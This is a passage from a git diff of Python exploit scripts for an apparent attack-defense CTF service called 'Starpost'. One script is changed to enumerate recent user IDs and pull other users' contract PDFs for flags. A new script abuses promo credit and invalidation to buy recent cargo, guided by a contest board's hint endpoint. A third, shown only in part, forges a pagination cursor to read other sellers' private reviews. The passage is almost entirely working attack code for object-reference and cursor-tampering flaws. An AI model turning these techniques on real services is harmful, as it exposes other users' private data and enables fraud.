raise ValueError(f"registration returned HTTP {status}")
|
||||||
data = json.loads(body)
|
data = json.loads(body)
|
||||||
|
if not isinstance(data, dict) or "id" not in data or isinstance(data["id"], bool):
|
||||||
|
raise ValueError("registration returned an invalid user id")
|
||||||
|
try:
|
||||||
|
user_id = int(data["id"])
|
||||||
|
except (TypeError, ValueError) as exc:
|
||||||
|
raise ValueError("registration returned an invalid user id") from exc
|
||||||
|
if user_id < 1:
|
||||||
|
raise ValueError("registration returned an invalid user id")
|
||||||
cookies = SimpleCookie()
|
cookies = SimpleCookie()
|
||||||
for name, value in headers:
|
for name, value in headers:
|
||||||
if name.lower() == "set-cookie":
|
if name.lower() == "set-cookie":
|
||||||
cookies.load(value)
|
cookies.load(value)
|
||||||
if "session" not in cookies:
|
if "session" not in cookies:
|
||||||
raise ValueError("registration did not return a session")
|
raise ValueError("registration did not return a session")
|
||||||
return int(data["id"]), cookies["session"].value
|
return user_id, cookies["session"].value
|
||||||
|
|
||||||
|
|
||||||
|
def pdf_literal_strings(document: bytes) -> list[bytes]:
|
||||||
|
strings: list[bytes] = []
|
||||||
|
size = len(document)
|
||||||
|
offset = 0
|
||||||
|
escapes = {
|
||||||
|
ord("n"): ord("\n"),
|
||||||
|
ord("r"): ord("\r"),
|
||||||
|
ord("t"): ord("\t"),
|
||||||
|
ord("b"): ord("\b"),
|
||||||
|
ord("f"): ord("\f"),
|
||||||
|
}
|
||||||
|
while offset < size:
|
||||||
|
start = document.find(b"(", offset)
|
||||||
|
if start < 0:
|
||||||
|
break
|
||||||
|
offset = start + 1
|
||||||
|
depth = 1
|
||||||
|
value = bytearray()
|
||||||
|
while offset < size and depth:
|
||||||
|
current = document[offset]
|
||||||
|
if current == ord("\\"):
|
||||||
|
offset += 1
|
||||||
|
if offset >= size:
|
||||||
|
break
|
||||||
|
escaped = document[offset]
|
||||||
|
if escaped in (ord("\r"), ord("\n")):
|
||||||
|
if escaped == ord("\r") and offset + 1 < size and document[offset + 1] == ord("\n"):
|
||||||
|
offset += 1
|
||||||
|
offset += 1
|
||||||
|
continue
|
||||||
|
if ord("0") <= escaped <= ord("7"):
|
||||||
|
end = offset + 1
|
||||||
|
while end < size and end < offset + 3 and ord("0") <= document[end] <= ord("7"):
|
||||||
|
end += 1
|
||||||
|
value.append(int(document[offset:end], 8) & 0xFF)
|
||||||
|
offset = end
|
||||||
|
continue
|
||||||
|
value.append(escapes.get(escaped, escaped))
|
||||||
|
elif current == ord("("):
|
||||||
|
depth += 1
|
||||||
|
value.append(current)
|
||||||
|
elif current == ord(")"):
|
||||||
|
depth -= 1
|
||||||
|
if depth:
|
||||||
|
value.append(current)
|
||||||
|
else:
|
||||||
|
value.append(current)
|
||||||
|
offset += 1
|
||||||
|
if depth == 0:
|
||||||
|
strings.append(bytes(value))
|
||||||
|
return strings
|
||||||
|
|
||||||
|
|
||||||
|
def extract_flags(document: bytes) -> set[bytes]:
|
||||||
|
fragments = pdf_literal_strings(document)
|
||||||
|
flags = set(FLAG_PATTERN.findall(document))
|
||||||
|
for fragment in fragments:
|
||||||
|
flags.update(FLAG_PATTERN.findall(fragment))
|
||||||
|
for left, right in zip(fragments, fragments[1:]):
|
||||||
|
flags.update(FLAG_PATTERN.findall(left[-31:] + right[:31]))
|
||||||
|
return flags
|
||||||
|
|
||||||
|
|
||||||
def collect_contract(target: str, user_id: int, cookie: str, deadline: float) -> tuple[set[bytes], bool]:
|
def collect_contract(target: str, user_id: int, cookie: str, deadline: float) -> tuple[set[bytes], bool]:
|
||||||
@@ -136,25 +211,31 @@ def collect_contract(target: str, user_id: int, cookie: str, deadline: float) ->
|
|||||||
)
|
)
|
||||||
except (OSError, TimeoutError, URLError, ValueError):
|
except (OSError, TimeoutError, URLError, ValueError):
|
||||||
return set(), True
|
return set(), True
|
||||||
return (set(FLAG_PATTERN.findall(body)) if status == 200 else set()), False
|
return (extract_flags(body) if status == 200 else set()), False
|
||||||
|
|
||||||
|
|
||||||
def run_exploit(raw_target: str) -> tuple[list[str], int, int]:
|
def run_exploit(raw_target: str, emit=None) -> tuple[list[str], int, int]:
|
||||||
target = build_target(raw_target)
|
target = build_target(raw_target)
|
||||||
deadline = time.monotonic() + RUN_TIMEOUT
|
deadline = time.monotonic() + RUN_TIMEOUT
|
||||||
newest, cookie = register(target, deadline)
|
newest, cookie = register(target, deadline)
|
||||||
user_ids = range(max(1, newest - RECENT_USER_WINDOW), newest)
|
oldest = max(1, newest - RECENT_USER_WINDOW)
|
||||||
flags: set[bytes] = set()
|
user_ids = range(newest - 1, oldest - 1, -1)
|
||||||
|
flags: set[str] = set()
|
||||||
errors = 0
|
errors = 0
|
||||||
checked = 0
|
checked = 0
|
||||||
with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as pool:
|
with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as pool:
|
||||||
futures = [pool.submit(collect_contract, target, user_id, cookie, deadline) for user_id in user_ids]
|
futures = [pool.submit(collect_contract, target, user_id, cookie, deadline) for user_id in user_ids]
|
||||||
for future in concurrent.futures.as_completed(futures):
|
for future in concurrent.futures.as_completed(futures):
|
||||||
found, failed = future.result()
|
found, failed = future.result()
|
||||||
flags.update(found)
|
for candidate in sorted(flag.decode("ascii") for flag in found):
|
||||||
|
if candidate in flags:
|
||||||
|
continue
|
||||||
|
flags.add(candidate)
|
||||||
|
if emit is not None:
|
||||||
|
emit(candidate)
|
||||||
errors += int(failed)
|
errors += int(failed)
|
||||||
checked += 1
|
checked += 1
|
||||||
return sorted(flag.decode("ascii") for flag in flags), checked, errors
|
return sorted(flags), checked, errors
|
||||||
|
|
||||||
|
|
||||||
def main() -> int:
|
def main() -> int:
|
||||||
@@ -162,13 +243,11 @@ def main() -> int:
|
|||||||
print(f"Usage: {sys.argv[0]} HOST", file=sys.stderr)
|
print(f"Usage: {sys.argv[0]} HOST", file=sys.stderr)
|
||||||
return 2
|
return 2
|
||||||
try:
|
try:
|
||||||
flags, checked, errors = run_exploit(sys.argv[1])
|
flags, checked, errors = run_exploit(sys.argv[1], lambda candidate: print(candidate, flush=True))
|
||||||
except (OSError, TimeoutError, URLError, ValueError, json.JSONDecodeError) as exc:
|
except (OSError, TimeoutError, URLError, ValueError, json.JSONDecodeError) as exc:
|
||||||
print(f"request failed: {exc}", file=sys.stderr)
|
print(f"request failed: {exc}", file=sys.stderr)
|
||||||
return 1
|
return 1
|
||||||
print(f"checked={checked} request_errors={errors} flags={len(flags)}", file=sys.stderr)
|
print(f"checked={checked} request_errors={errors} flags={len(flags)}", file=sys.stderr)
|
||||||
if flags:
|
|
||||||
print("\n".join(flags), flush=True)
|
|
||||||
return 0
|
return 0
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
Executable
+350
@@ -0,0 +1,350 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
"""Buy recent affordable Starpost cargo and read it after warehouse delivery.
|
||||||
|
|
||||||
|
Neo passes one target address. Only event-format flags are written to stdout.
|
||||||
|
This script uses public registration and the buyer's own promo; it needs no
|
||||||
|
service secret, warehouse token, or Skipper credential.
|
||||||
|
"""
|
||||||
|
|
||||||
|
from __future__ import annotations
|
||||||
|
|
||||||
|
import json
|
||||||
|
import os
|
||||||
|
import re
|
||||||
|
import secrets
|
||||||
|
import signal
|
||||||
|
import sys
|
||||||
|
import time
|
||||||
|
from datetime import datetime, timedelta, timezone
|
||||||
|
from email.utils import parsedate_to_datetime
|
||||||
|
from http.cookies import SimpleCookie
|
||||||
|
from ipaddress import ip_address
|
||||||
|
from urllib.error import HTTPError, URLError
|
||||||
|
from urllib.parse import urlsplit, urlunsplit
|
||||||
|
from urllib.request import HTTPRedirectHandler, ProxyHandler, Request, build_opener
|
||||||
|
|
||||||
|
|
||||||
|
SERVICE_PORT = 8090
|
||||||
|
RUN_TIMEOUT = 8.5
|
||||||
|
REQUEST_TIMEOUT = 1.2
|
||||||
|
MAX_RESPONSE = 512 * 1024
|
||||||
|
MAX_ATTACK_DATA_RESPONSE = 256 * 1024
|
||||||
|
ATTACK_DATA_URL = os.environ.get(
|
||||||
|
"STARPOST_ATTACK_DATA_URL",
|
||||||
|
"https://board.academy.goctf.online/api/v1/attack_data/%D0%94%D0%9E%D0%9A",
|
||||||
|
)
|
||||||
|
# A/D checker traffic is staggered differently for each team, so a fixed UTC
|
||||||
|
# second is not transferable. All observed checker-like products cost at
|
||||||
|
# least 101 credits. Try the newest suitable product, then at most one from
|
||||||
|
# the previous minute if delivery yields no flag. This is an empirical
|
||||||
|
# heuristic, not a way to identify flag-bearing cargo.
|
||||||
|
MAX_CANDIDATE_AGE = 145
|
||||||
|
MIN_CANDIDATE_PRICE = 101
|
||||||
|
MAX_CANDIDATES = 2
|
||||||
|
MAX_ORDER_POLLS = 5
|
||||||
|
POLL_INTERVAL = 0.3
|
||||||
|
FLAG_PATTERN = re.compile(r"(?<![A-Za-z0-9])[A-Z0-9]{31}=(?![A-Za-z0-9])")
|
||||||
|
DECIMAL_HINT = re.compile(r"[1-9][0-9]{0,8}\Z")
|
||||||
|
|
||||||
|
|
||||||
|
class NoRedirects(HTTPRedirectHandler):
|
||||||
|
def redirect_request(self, req, fp, code, msg, headers, newurl):
|
||||||
|
return None
|
||||||
|
|
||||||
|
|
||||||
|
# In particular, do not follow a redirect to an unrelated host or use a
|
||||||
|
# workstation HTTP proxy instead of the contest VPN route.
|
||||||
|
OPENER = build_opener(ProxyHandler({}), NoRedirects())
|
||||||
|
|
||||||
|
|
||||||
|
def build_target(target: str) -> str:
|
||||||
|
raw = target.strip()
|
||||||
|
if not raw:
|
||||||
|
raise ValueError("empty target")
|
||||||
|
if "://" not in raw:
|
||||||
|
raw = f"http://{f'[{raw}]' if raw.count(':') > 1 and not raw.startswith('[') else raw}"
|
||||||
|
parsed = urlsplit(raw)
|
||||||
|
if parsed.scheme not in {"http", "https"} or not parsed.hostname:
|
||||||
|
raise ValueError("expected HTTP(S) target")
|
||||||
|
if parsed.username or parsed.password or parsed.path not in {"", "/"}:
|
||||||
|
raise ValueError("target must contain only a host and optional port")
|
||||||
|
if parsed.query or parsed.fragment:
|
||||||
|
raise ValueError("target must not contain query or fragment")
|
||||||
|
port = parsed.port or SERVICE_PORT
|
||||||
|
if not 1 <= port <= 65535:
|
||||||
|
raise ValueError("invalid target port")
|
||||||
|
host = f"[{parsed.hostname}]" if ":" in parsed.hostname else parsed.hostname
|
||||||
|
return urlunsplit((parsed.scheme, f"{host}:{port}", "", "", ""))
|
||||||
|
|
||||||
|
|
||||||
|
def request_json(
|
||||||
|
target: str,
|
||||||
|
path: str,
|
||||||
|
deadline: float,
|
||||||
|
*,
|
||||||
|
method: str = "GET",
|
||||||
|
payload: dict | None = None,
|
||||||
|
cookie: str | None = None,
|
||||||
|
) -> tuple[int, object, str | None]:
|
||||||
|
remaining = deadline - time.monotonic()
|
||||||
|
if remaining <= 0:
|
||||||
|
raise TimeoutError("run deadline exceeded")
|
||||||
|
body = json.dumps(payload, separators=(",", ":")).encode() if payload is not None else None
|
||||||
|
headers = {"Accept": "application/json", "User-Agent": "neo-starpost-market/1.0"}
|
||||||
|
if body is not None:
|
||||||
|
headers["Content-Type"] = "application/json"
|
||||||
|
if cookie is not None:
|
||||||
|
headers["Cookie"] = f"session={cookie}"
|
||||||
|
req = Request(target + path, data=body, headers=headers, method=method)
|
||||||
|
try:
|
||||||
|
response = OPENER.open(req, timeout=min(REQUEST_TIMEOUT, remaining))
|
||||||
|
except HTTPError as exc:
|
||||||
|
response = exc
|
||||||
|
with response:
|
||||||
|
raw = response.read(MAX_RESPONSE + 1)
|
||||||
|
if len(raw) > MAX_RESPONSE:
|
||||||
|
raise ValueError("response too large")
|
||||||
|
cookies = SimpleCookie()
|
||||||
|
for header in response.headers.get_all("Set-Cookie", []):
|
||||||
|
cookies.load(header)
|
||||||
|
session = cookies["session"].value if "session" in cookies else None
|
||||||
|
try:
|
||||||
|
data = json.loads(raw)
|
||||||
|
except (UnicodeDecodeError, json.JSONDecodeError):
|
||||||
|
raise ValueError("invalid JSON response") from None
|
||||||
|
return response.status, data, session
|
||||||
|
|
||||||
|
|
||||||
|
def scan_flags(value: object) -> set[str]:
|
||||||
|
# Only a delivered order's cargo is read here; avoid printing whole JSON.
|
||||||
|
return set(FLAG_PATTERN.findall(value)) if isinstance(value, str) else set()
|
||||||
|
|
||||||
|
|
||||||
|
def numeric_hints(payload: object, target_host: str) -> set[int]:
|
||||||
|
"""Accept only exact per-IP positive decimal product IDs; ignore mixed hints."""
|
||||||
|
try:
|
||||||
|
target_ip = str(ip_address(target_host))
|
||||||
|
except ValueError:
|
||||||
|
return set()
|
||||||
|
if not isinstance(payload, dict):
|
||||||
|
raise ValueError("attack_data root is not an object")
|
||||||
|
values = payload.get(target_ip)
|
||||||
|
if values is None:
|
||||||
|
return set()
|
||||||
|
if not isinstance(values, list) or len(values) > 32:
|
||||||
|
raise ValueError("attack_data target hints are invalid")
|
||||||
|
return {int(value) for value in values if isinstance(value, str) and DECIMAL_HINT.fullmatch(value)}
|
||||||
|
|
||||||
|
|
||||||
|
def fetch_attack_hints(target_host: str, deadline: float) -> set[int] | None:
|
||||||
|
"""Read the public Skipper endpoint once; None means use catalog fallback."""
|
||||||
|
remaining = deadline - time.monotonic()
|
||||||
|
if remaining <= 0:
|
||||||
|
return None
|
||||||
|
req = Request(ATTACK_DATA_URL, headers={"Accept": "application/json", "User-Agent": "neo-starpost-market/1.1"})
|
||||||
|
try:
|
||||||
|
with OPENER.open(req, timeout=min(REQUEST_TIMEOUT, remaining)) as response:
|
||||||
|
if response.status != 200:
|
||||||
|
return None
|
||||||
|
raw = response.read(MAX_ATTACK_DATA_RESPONSE + 1)
|
||||||
|
if len(raw) > MAX_ATTACK_DATA_RESPONSE:
|
||||||
|
return None
|
||||||
|
return numeric_hints(json.loads(raw), target_host)
|
||||||
|
except (HTTPError, URLError, OSError, TimeoutError, ValueError, UnicodeDecodeError, json.JSONDecodeError):
|
||||||
|
return None
|
||||||
|
|
||||||
|
|
||||||
|
def parse_created_at(raw: object) -> datetime | None:
|
||||||
|
if not isinstance(raw, str):
|
||||||
|
return None
|
||||||
|
try:
|
||||||
|
created = datetime.fromisoformat(raw.replace("Z", "+00:00"))
|
||||||
|
except ValueError:
|
||||||
|
try:
|
||||||
|
created = parsedate_to_datetime(raw)
|
||||||
|
except (TypeError, ValueError):
|
||||||
|
return None
|
||||||
|
return created.astimezone(timezone.utc) if created.tzinfo else None
|
||||||
|
|
||||||
|
|
||||||
|
def candidates(products: object, now: datetime | None = None, hint_ids: set[int] | None = None) -> list[tuple[int, int]]:
|
||||||
|
if not isinstance(products, list):
|
||||||
|
raise ValueError("products response is not a list")
|
||||||
|
now = now or datetime.now(timezone.utc)
|
||||||
|
if now.tzinfo is None:
|
||||||
|
raise ValueError("now must have a timezone")
|
||||||
|
found: list[tuple[datetime, int, int]] = []
|
||||||
|
seen = set()
|
||||||
|
have_hints = bool(hint_ids)
|
||||||
|
for product in products:
|
||||||
|
if not isinstance(product, dict):
|
||||||
|
continue
|
||||||
|
product_id, price = product.get("id"), product.get("price")
|
||||||
|
created = parse_created_at(product.get("created_at"))
|
||||||
|
valid_id = isinstance(product_id, int) and not isinstance(product_id, bool) and product_id > 0
|
||||||
|
selected_by_hint = valid_id and have_hints and product_id in hint_ids
|
||||||
|
selected_by_catalog = (not have_hints and created is not None
|
||||||
|
and -5 <= (now - created).total_seconds() <= MAX_CANDIDATE_AGE)
|
||||||
|
if (
|
||||||
|
valid_id
|
||||||
|
and isinstance(price, int)
|
||||||
|
and not isinstance(price, bool)
|
||||||
|
and MIN_CANDIDATE_PRICE <= price <= 200
|
||||||
|
and product_id not in seen
|
||||||
|
and created is not None
|
||||||
|
and (selected_by_hint or selected_by_catalog)
|
||||||
|
):
|
||||||
|
found.append((created, product_id, price))
|
||||||
|
seen.add(product_id)
|
||||||
|
found.sort(reverse=True)
|
||||||
|
if not found:
|
||||||
|
return []
|
||||||
|
if hint_ids:
|
||||||
|
return [(product_id, price) for _, product_id, price in found[:MAX_CANDIDATES]]
|
||||||
|
newest_minute = found[0][0].replace(second=0, microsecond=0)
|
||||||
|
previous_minute = newest_minute - timedelta(minutes=1)
|
||||||
|
selected: list[tuple[int, int]] = []
|
||||||
|
used_minutes: set[datetime] = set()
|
||||||
|
for created, product_id, price in found:
|
||||||
|
minute = created.replace(second=0, microsecond=0)
|
||||||
|
if minute not in {newest_minute, previous_minute} or minute in used_minutes:
|
||||||
|
continue
|
||||||
|
selected.append((product_id, price))
|
||||||
|
used_minutes.add(minute)
|
||||||
|
if len(selected) >= MAX_CANDIDATES:
|
||||||
|
break
|
||||||
|
return selected
|
||||||
|
|
||||||
|
|
||||||
|
def run_exploit(raw_target: str) -> tuple[list[str], int, int]:
|
||||||
|
target = build_target(raw_target)
|
||||||
|
deadline = time.monotonic() + RUN_TIMEOUT
|
||||||
|
|
||||||
|
status, products, _ = request_json(target, "/api/products", deadline)
|
||||||
|
if status != 200:
|
||||||
|
raise ValueError(f"catalog returned HTTP {status}")
|
||||||
|
hint_ids = fetch_attack_hints(urlsplit(target).hostname or "", deadline)
|
||||||
|
available = candidates(products, hint_ids=hint_ids)
|
||||||
|
if not available:
|
||||||
|
return [], 0, 0
|
||||||
|
|
||||||
|
flags: set[str] = set()
|
||||||
|
bought_count = 0
|
||||||
|
polls = 0
|
||||||
|
for product_id, price in available:
|
||||||
|
if time.monotonic() >= deadline:
|
||||||
|
break
|
||||||
|
marker = secrets.token_hex(8)
|
||||||
|
status, _, cookie = request_json(
|
||||||
|
target,
|
||||||
|
"/api/register",
|
||||||
|
deadline,
|
||||||
|
method="POST",
|
||||||
|
payload={"username": f"market-{marker}", "password": secrets.token_urlsafe(18), "role": "buyer"},
|
||||||
|
)
|
||||||
|
if status != 201 or not cookie:
|
||||||
|
raise ValueError(f"buyer registration returned HTTP {status}")
|
||||||
|
|
||||||
|
status, account, _ = request_json(target, "/api/account", deadline, cookie=cookie)
|
||||||
|
if status != 200 or not isinstance(account, dict):
|
||||||
|
raise ValueError(f"account returned HTTP {status}")
|
||||||
|
promo = account.get("promo")
|
||||||
|
user = account.get("user")
|
||||||
|
if not isinstance(promo, dict) or not isinstance(promo.get("code"), str):
|
||||||
|
raise ValueError("buyer promo missing")
|
||||||
|
if not isinstance(user, dict) or not isinstance(user.get("balance"), int):
|
||||||
|
raise ValueError("buyer balance missing")
|
||||||
|
budget = user["balance"]
|
||||||
|
|
||||||
|
status, credit, _ = request_json(
|
||||||
|
target,
|
||||||
|
"/api/promo/credit",
|
||||||
|
deadline,
|
||||||
|
method="POST",
|
||||||
|
payload={"code": promo["code"]},
|
||||||
|
cookie=cookie,
|
||||||
|
)
|
||||||
|
if status != 200 or not isinstance(credit, dict):
|
||||||
|
raise ValueError(f"promo credit returned HTTP {status}")
|
||||||
|
credited = credit.get("credited")
|
||||||
|
if not isinstance(credited, int) or isinstance(credited, bool) or credited < 0:
|
||||||
|
raise ValueError("invalid credited amount")
|
||||||
|
budget += credited
|
||||||
|
|
||||||
|
# Current Starpost checker uses credit -> invalidate -> purchase.
|
||||||
|
# Buying while a promo_codes row still exists now returns HTTP 409.
|
||||||
|
status, invalidation, _ = request_json(
|
||||||
|
target,
|
||||||
|
"/api/promo/invalidate",
|
||||||
|
deadline,
|
||||||
|
method="POST",
|
||||||
|
payload={"code": promo["code"]},
|
||||||
|
cookie=cookie,
|
||||||
|
)
|
||||||
|
if status != 200 or not isinstance(invalidation, dict) or invalidation.get("invalidated") is not True:
|
||||||
|
raise ValueError(f"promo invalidation returned HTTP {status}")
|
||||||
|
if price > budget:
|
||||||
|
continue
|
||||||
|
status, order, _ = request_json(
|
||||||
|
target,
|
||||||
|
f"/api/products/{product_id}/buy",
|
||||||
|
deadline,
|
||||||
|
method="POST",
|
||||||
|
payload={},
|
||||||
|
cookie=cookie,
|
||||||
|
)
|
||||||
|
if status != 201 or not isinstance(order, dict):
|
||||||
|
continue
|
||||||
|
order_id = order.get("id")
|
||||||
|
if not isinstance(order_id, int) or isinstance(order_id, bool) or order_id <= 0:
|
||||||
|
continue
|
||||||
|
bought_count += 1
|
||||||
|
for poll in range(MAX_ORDER_POLLS):
|
||||||
|
if time.monotonic() >= deadline:
|
||||||
|
break
|
||||||
|
if poll:
|
||||||
|
time.sleep(min(POLL_INTERVAL, max(0.0, deadline - time.monotonic())))
|
||||||
|
status, orders, _ = request_json(target, "/api/orders", deadline, cookie=cookie)
|
||||||
|
polls += 1
|
||||||
|
if status != 200 or not isinstance(orders, list):
|
||||||
|
break
|
||||||
|
delivered_order = next(
|
||||||
|
(item for item in orders if isinstance(item, dict) and item.get("id") == order_id
|
||||||
|
and item.get("status") == "delivered"),
|
||||||
|
None,
|
||||||
|
)
|
||||||
|
if delivered_order is not None:
|
||||||
|
flags.update(scan_flags(delivered_order.get("cargo")))
|
||||||
|
break
|
||||||
|
if flags:
|
||||||
|
break
|
||||||
|
return sorted(flags), bought_count, polls
|
||||||
|
|
||||||
|
|
||||||
|
def main() -> int:
|
||||||
|
if len(sys.argv) != 2:
|
||||||
|
print(f"Usage: {sys.argv[0]} HOST", file=sys.stderr)
|
||||||
|
return 2
|
||||||
|
def hard_timeout(_signum, _frame):
|
||||||
|
raise TimeoutError("run deadline exceeded")
|
||||||
|
|
||||||
|
# A slow-drip HTTP response can keep an individual socket read alive past
|
||||||
|
# its timeout. Neo runs this as a Linux child process; bound the whole run.
|
||||||
|
previous_handler = signal.signal(signal.SIGALRM, hard_timeout)
|
||||||
|
signal.setitimer(signal.ITIMER_REAL, RUN_TIMEOUT + 0.2)
|
||||||
|
try:
|
||||||
|
flags, bought, polls = run_exploit(sys.argv[1])
|
||||||
|
except (OSError, URLError, TimeoutError, ValueError, OverflowError) as exc:
|
||||||
|
print(f"request failed: {exc}", file=sys.stderr)
|
||||||
|
return 1
|
||||||
|
finally:
|
||||||
|
signal.setitimer(signal.ITIMER_REAL, 0)
|
||||||
|
signal.signal(signal.SIGALRM, previous_handler)
|
||||||
|
print(f"bought={bought} order_polls={polls} flags={len(flags)}", file=sys.stderr)
|
||||||
|
if flags:
|
||||||
|
print("\n".join(flags), flush=True)
|
||||||
|
return 0
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
raise SystemExit(main())
|
||||||
Executable
+216
@@ -0,0 +1,216 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
|
||||||
|
from __future__ import annotations
|
||||||
|
|
||||||
|
import base64
|
||||||
|
import concurrent.futures
|
||||||
|
import json
|
||||||
|
import re
|
||||||
|
import secrets
|
||||||
|
import sys
|
||||||
|
import time
|
||||||
|
from http.client import HTTPException
|
||||||
|
from http.cookies import SimpleCookie
|
||||||
|
from urllib.error import HTTPError, URLError
|
||||||
|
from urllib.parse import urlsplit, urlunsplit
|
||||||
|
from urllib.request import HTTPRedirectHandler, Request, build_opener
|
||||||
|
|
||||||
|
|
||||||
|
TARGET_SCHEME = "http"
|
||||||
|
SERVICE_PORT = 8090
|
||||||
|
REQUEST_TIMEOUT = 1.0
|
||||||
|
RUN_TIMEOUT = 8.5
|
||||||
|
MAX_RESPONSE = 32 * 1024
|
||||||
|
RECENT_USER_WINDOW = 20
|
||||||
|
MAX_WORKERS = 4
|
||||||
|
PAGE_SIZE = 3
|
||||||
|
FIRST_REVIEW_ID = 1_000_000_000
|
||||||
|
FLAG_PATTERN = re.compile(rb"[A-Z0-9]{31}=")
|
||||||
|
|
||||||
|
|
||||||
|
class NoRedirects(HTTPRedirectHandler):
|
||||||
|
def redirect_request(self, req, fp, code, msg, headers, newurl):
|
||||||
|
return None
|
||||||
|
|
||||||
|
|
||||||
|
def build_target(target: str) -> str:
|
||||||
|
raw = target.strip()
|
||||||
|
if not raw:
|
||||||
|
raise ValueError("empty target")
|
||||||
|
if "://" not in raw:
|
||||||
|
authority = f"[{raw}]" if raw.count(":") > 1 and not raw.startswith("[") else raw
|
||||||
|
raw = f"{TARGET_SCHEME}://{authority}"
|
||||||
|
parsed = urlsplit(raw)
|
||||||
|
if parsed.scheme not in {"http", "https"} or not parsed.hostname:
|
||||||
|
raise ValueError("expected an HTTP target")
|
||||||
|
if parsed.username or parsed.password or parsed.path not in {"", "/"}:
|
||||||
|
raise ValueError("target must not include credentials or a path")
|
||||||
|
if parsed.query or parsed.fragment:
|
||||||
|
raise ValueError("target must not include query or fragment")
|
||||||
|
port = parsed.port
|
||||||
|
if port is None:
|
||||||
|
port = 443 if parsed.scheme == "https" else SERVICE_PORT
|
||||||
|
if not 1 <= port <= 65535:
|
||||||
|
raise ValueError("invalid target port")
|
||||||
|
host = f"[{parsed.hostname}]" if ":" in parsed.hostname else parsed.hostname
|
||||||
|
return urlunsplit((parsed.scheme, f"{host}:{port}", "", "", ""))
|
||||||
|
|
||||||
|
|
||||||
|
def request(
|
||||||
|
target: str,
|
||||||
|
method: str,
|
||||||
|
path: str,
|
||||||
|
deadline: float,
|
||||||
|
payload: dict | None = None,
|
||||||
|
cookie: str | None = None,
|
||||||
|
) -> tuple[int, list[tuple[str, str]], bytes]:
|
||||||
|
remaining = deadline - time.monotonic()
|
||||||
|
if remaining <= 0:
|
||||||
|
raise TimeoutError("run deadline exceeded")
|
||||||
|
body = json.dumps(payload, separators=(",", ":")).encode() if payload is not None else None
|
||||||
|
headers = {"Accept": "application/json", "User-Agent": "neo-starpost-reviews/1.0"}
|
||||||
|
if body is not None:
|
||||||
|
headers["Content-Type"] = "application/json"
|
||||||
|
if cookie:
|
||||||
|
headers["Cookie"] = f"session={cookie}"
|
||||||
|
req = Request(target + path, data=body, headers=headers, method=method)
|
||||||
|
opener = build_opener(NoRedirects())
|
||||||
|
try:
|
||||||
|
with opener.open(req, timeout=min(REQUEST_TIMEOUT, remaining)) as response:
|
||||||
|
data = response.read(MAX_RESPONSE + 1)
|
||||||
|
if len(data) > MAX_RESPONSE:
|
||||||
|
raise ValueError("response too large")
|
||||||
|
return response.status, list(response.headers.items()), data
|
||||||
|
except HTTPError as exc:
|
||||||
|
data = exc.read(MAX_RESPONSE + 1)
|
||||||
|
if len(data) > MAX_RESPONSE:
|
||||||
|
raise ValueError("response too large")
|
||||||
|
return exc.code, list(exc.headers.items()), data
|
||||||
|
|
||||||
|
|
||||||
|
def register_seller(target: str, deadline: float) -> tuple[int, str]:
|
||||||
|
marker = secrets.token_hex(8)
|
||||||
|
status, headers, raw = request(
|
||||||
|
target,
|
||||||
|
"POST",
|
||||||
|
"/api/register",
|
||||||
|
deadline,
|
||||||
|
payload={
|
||||||
|
"username": f"reviews-{marker}",
|
||||||
|
"password": secrets.token_urlsafe(18),
|
||||||
|
"role": "seller",
|
||||||
|
"company_name": f"reviews-{marker}",
|
||||||
|
"tax_id": marker,
|
||||||
|
"signature": "synthetic-probe",
|
||||||
|
},
|
||||||
|
)
|
||||||
|
if status != 201:
|
||||||
|
raise ValueError(f"registration returned HTTP {status}")
|
||||||
|
response = json.loads(raw)
|
||||||
|
if not isinstance(response, dict) or isinstance(response.get("id"), bool):
|
||||||
|
raise ValueError("registration returned an invalid user id")
|
||||||
|
try:
|
||||||
|
user_id = int(response["id"])
|
||||||
|
except (KeyError, TypeError, ValueError) as exc:
|
||||||
|
raise ValueError("registration returned an invalid user id") from exc
|
||||||
|
if user_id < 1:
|
||||||
|
raise ValueError("registration returned an invalid user id")
|
||||||
|
cookies = SimpleCookie()
|
||||||
|
for name, value in headers:
|
||||||
|
if name.lower() == "set-cookie":
|
||||||
|
cookies.load(value)
|
||||||
|
if "session" not in cookies:
|
||||||
|
raise ValueError("registration did not return a session")
|
||||||
|
return user_id, cookies["session"].value
|
||||||
|
|
||||||
|
|
||||||
|
def make_cursor(seller_id: int, last_id: int) -> str:
|
||||||
|
state = {
|
||||||
|
"seller_id": seller_id,
|
||||||
|
"is_private": True,
|
||||||
|
"last_id": last_id,
|
||||||
|
"v": 2,
|
||||||
|
}
|
||||||
|
raw = json.dumps(state, separators=(",", ":")).encode()
|
||||||
|
return base64.urlsafe_b64encode(raw).decode().rstrip("=")
|
||||||
|
|
||||||
|
|
||||||
|
def collect_reviews(target: str, seller_id: int, cookie: str, deadline: float) -> tuple[set[bytes], int, bool]:
|
||||||
|
flags: set[bytes] = set()
|
||||||
|
try:
|
||||||
|
cursor = make_cursor(seller_id, FIRST_REVIEW_ID)
|
||||||
|
status, _, raw = request(
|
||||||
|
target,
|
||||||
|
"GET",
|
||||||
|
f"/api/seller/reviews?limit={PAGE_SIZE}&cursor={cursor}",
|
||||||
|
deadline,
|
||||||
|
cookie=cookie,
|
||||||
|
)
|
||||||
|
if status != 200:
|
||||||
|
return flags, 1, status != 400
|
||||||
|
response = json.loads(raw)
|
||||||
|
rows = response.get("reviews") if isinstance(response, dict) else None
|
||||||
|
if not isinstance(rows, list):
|
||||||
|
return flags, 1, True
|
||||||
|
for row in rows:
|
||||||
|
if not isinstance(row, dict) or row.get("is_private") is not True:
|
||||||
|
continue
|
||||||
|
review_body = row.get("body")
|
||||||
|
if isinstance(review_body, str):
|
||||||
|
flags.update(FLAG_PATTERN.findall(review_body.encode()))
|
||||||
|
except (OSError, TimeoutError, URLError, HTTPException, ValueError, json.JSONDecodeError):
|
||||||
|
return flags, 1, True
|
||||||
|
return flags, 1, False
|
||||||
|
|
||||||
|
|
||||||
|
def run_exploit(raw_target: str, emit=None) -> tuple[list[str], int, int, int]:
|
||||||
|
target = build_target(raw_target)
|
||||||
|
deadline = time.monotonic() + RUN_TIMEOUT
|
||||||
|
newest, cookie = register_seller(target, deadline)
|
||||||
|
oldest = max(1, newest - RECENT_USER_WINDOW)
|
||||||
|
